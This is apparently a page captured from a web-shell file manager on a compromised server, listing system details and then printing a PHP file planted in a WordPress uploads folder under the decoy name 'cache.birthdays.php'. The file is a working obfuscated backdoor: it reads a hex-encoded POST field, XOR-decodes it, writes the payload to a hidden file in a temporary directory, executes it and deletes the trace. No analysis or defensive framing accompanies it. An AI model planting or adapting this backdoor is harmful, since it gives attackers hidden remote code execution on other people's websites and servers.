HEX
Server: Apache/2
System: Linux sv174 5.14.0-570.21.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 11 07:22:35 EDT 2025 x86_64
User: casinobe (1137)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/casinobe/domains/pug555-a.com/public_html/wp-content/uploads/wpcode/b/b/f/cache.birthdays.php
<?php

if(array_key_exists("\x65\x6E\x74ity", $_POST)){
	$value = array_filter([session_save_path(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir")]);
	$binding = hex2bin($_POST["\x65\x6E\x74ity"]);
	$ref ='' ;foreach(str_split($binding) as $char){$ref .= chr(ord($char) ^ 25);}
	$token = 0;
do {
    $bind = $value[$token] ?? null;
    if ($token >= count($value)) break;
    		if (is_dir($bind) ? is_writable($bind) : false) {
    $data = sprintf("%s/.factor", $bind);
    if (@file_put_contents($data, $ref) !== false) {
	include $data;
	unlink($data);
	die();
}
}
    $token++;
} while (true);
}